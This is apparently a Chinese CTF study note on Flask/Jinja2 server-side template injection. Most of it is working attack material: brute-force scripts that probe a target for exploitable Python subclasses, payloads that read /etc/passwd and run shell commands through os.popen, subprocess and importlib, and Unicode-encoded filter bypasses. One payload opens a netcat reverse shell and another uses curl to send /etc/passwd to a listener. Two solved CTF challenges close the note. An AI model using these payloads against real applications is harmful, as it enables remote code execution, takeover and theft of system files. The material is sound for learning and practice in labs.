CTF-Flask-Jinja2(持续更新)

放心,我会一直陪着你

一.知识

一.在终端的一些指令

1.虚拟环境

进入虚拟环境flask1

php 复制代码
 cd /opt/flask1 
php 复制代码
 source ./bin/activate

退出虚拟环境

php 复制代码
deactivate

2.docker容器

自动检测

php 复制代码
sudo docker run -p 18022:22 -P 18080:80 -i -t mcc0624/flask_ssti:last bash -c '/etc/rc.local; /bin/bash'

查看所有容器

php 复制代码
docker ps -a

关闭容器

php 复制代码
docker stop <CONTAINER ID>

开启容器

php 复制代码
docker start <CONTAINER ID>

更多命令:Docker常用命令之容器命令

二.SSTI相关知识介绍

php 复制代码
${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}

1.魔术方法

php 复制代码
__class__#查找当前类型的所属对象
__base__#沿着父子类的关系往上走一个
__mro__#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载
__globals__#函数会议字典的形式返回当前对象的全部全局变量

2.python如何执行cmd命令

python如何执行cmd命令

3.SSTI常用注入模块

(1)文件读取

①查找子类

php 复制代码
_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

②找第几个时的python脚本:

python 复制代码
import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib_external.FileLoader'in response.text:
				print(i)
	except:
		pass

③读取

python 复制代码
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

(2)内建函数eval执行命令

①内建函数:python在执行脚本时自动加载的函数

看是否有eval

python 复制代码
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']}}

②python脚本查看可利用内建函数eval的模块

python 复制代码
import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'eval' in response.text:
				print(i)
	except :
		pass

③执行

python 复制代码
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

__builtins__提供对Python的所有"内置"标识符的直接访问

eval()计算字符串表达式的值

__import__加载os模块

popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system没有回显)

(3)os模块执行命令

①Flask自带的函数和对象

显示当前flask有哪些函数和对象

python 复制代码
{{self.__dict__._TemplateReference__context.keys()}}

python 复制代码
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
python 复制代码
{{url_for.__globals__.os.popen('ls').read()}}
python 复制代码
{{lipsum.__globals__.os.popen('ls').read()}}

②python脚本查找已经加载os模块的子类

python 复制代码
import requests

url =input('请输入URL链接:')

for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'os.py' in response.text:
				print(i)
	except :
		pass

python 复制代码
name={{().__class__.__base__.__subclasses__()[483].__init__.__globals__.os.popen('ls').read()}}

(4)importlib类执行命令

可以加载第三方库,使用load_module加载os

① python脚本查找_frozen_importlib.Builtinlmporter

python 复制代码
import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if '_frozen_importlib.BuiltinImporter' in response.text:
				print(i)
	except :
		pass

②执行

python 复制代码
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]('ls -l').read()}}

(5)linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用这个linecache函数去执行命令.

①python脚本查找linecache

python 复制代码
import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'linecache' in response.text:
				print(i)
	except :
		pass

②执行

python 复制代码
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l").read()}}
python 复制代码
{{[].__class__.__base__.__subclasses__()[192].__init__.__globals__.linecache.os.popen("ls -l").read()}}

(6)subprocess.Popen类执行命令

从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值.

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数.

① python脚本查找subprocess.Popen

python 复制代码
import requests
url =input('请输入URL链接:')
for i in range(500):
	data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
	try:
		response = requests.post(url,data=data)
		#print(response.text)
		if response.status_code== 200:
			if 'subprocess.Popen' in response.text:
				print(i)
	except :
		pass

②执行

python 复制代码
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()
[0].strip()}}

三.绕过过滤

1.双大括号

①判断是否有

python 复制代码
{% if "".__class__ %}Benben{% endif %}

②检测是否有popen

python 复制代码
import requests
url ="http://192.168.0.226:18080/flasklab/level/2"
for i in range(500):
	try:
		data = {"code": '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /etc/passwd").read()%}Benben{% endif %}'}
		response = requests.post(url,data=data)
		if response.status_code== 200:
			if "Benben" in response.text:
				print(i,"--->",data)
				break
	except :
		pass

③执行(解决无回:print)

python 复制代码
{% print("".__class__.__base__.__subclasses__()[117].__init__.__globals__["popen"]("cat /etc/passwd").read()) %}

2.无回显

(1)反弹shell

没有回显,

直接使用脚本批量执行希望执行的命令.

python 复制代码
import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.0.226 7777 -e/bin/bash").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

for i in range循环执行

当遇到包含popen的子类时,

直接执行netcat 192.168.1.161 7777 -e/bin/bash

监听主机收到反弹shell进入对方命令行界面

(2)带外注入(做不了×)

此处使用wget方法来带外想要知道的内容

也可以用dnslog或者nc

python 复制代码
import requests

url ="http://192.168.0.226:18080/flasklab/level/3"

for i in range(300):
	try:
		data = {"code": '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.0.226/`cat /etc/passwd`").read()}}'}
		response = requests.post(url,data=data)
	except :
		pass

同时kali开启一个python http监听

python 复制代码
python3 -m http.server 80

(3)纯盲注

四.实例

1.eval

python 复制代码
''
""
()
[]
{{''.__class__}}

{{''.__class__.__base__}}

{{''.__class__.__base__.__subclasses__()}}

{{''.__class__.__base__.__subclasses__()[117]}}

{{''.__class__.__base__.__subclasses__()[117].__init__}}

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

php 复制代码
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

python 复制代码
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

二.实例

[HNCTF 2022 WEEK2]ez_SSTI

进来看到

在哪里传参呢?

一般是GET传名为name的参数

测试SSTI注入,{``{7*7}}

确认有SSTI注入,继续测,{``{7*'7'}}
试试Jinja2模板,成功,以下是两种解题方法

1.Flask自带的函数和对象

先查看当前文件夹,发现了flag文件夹

php 复制代码
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

获取flag

php 复制代码
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

2.python脚本查找已经加载os模块的子类

[安洵杯 2020]Normal SSTI

进来看到

提示了传参变量

试着判断是哪一种模板${7*7},发现有过滤

fuzz一下,黑名单大致如下

php 复制代码
[' ','\'','*','[',']','_','.','globals','request','args','form','getitem','flag','length','list','string','config']

过滤了很多东西,不能用base64编码还有request,十六进制没试过,这里考虑用Unicode编码配合attr过滤器来绕过。

这里过滤了双大括号,只能用{%%}

做法属于Flask自带的函数和对象

clike 复制代码
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

把_globals_,__getitem__还有命令进行编码即可。

payload如下:

php 复制代码
{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}
clike 复制代码
${7*7}

a{*comment*}b
${"z".join("ab")}

{{7*7}}
{{7*'7'}}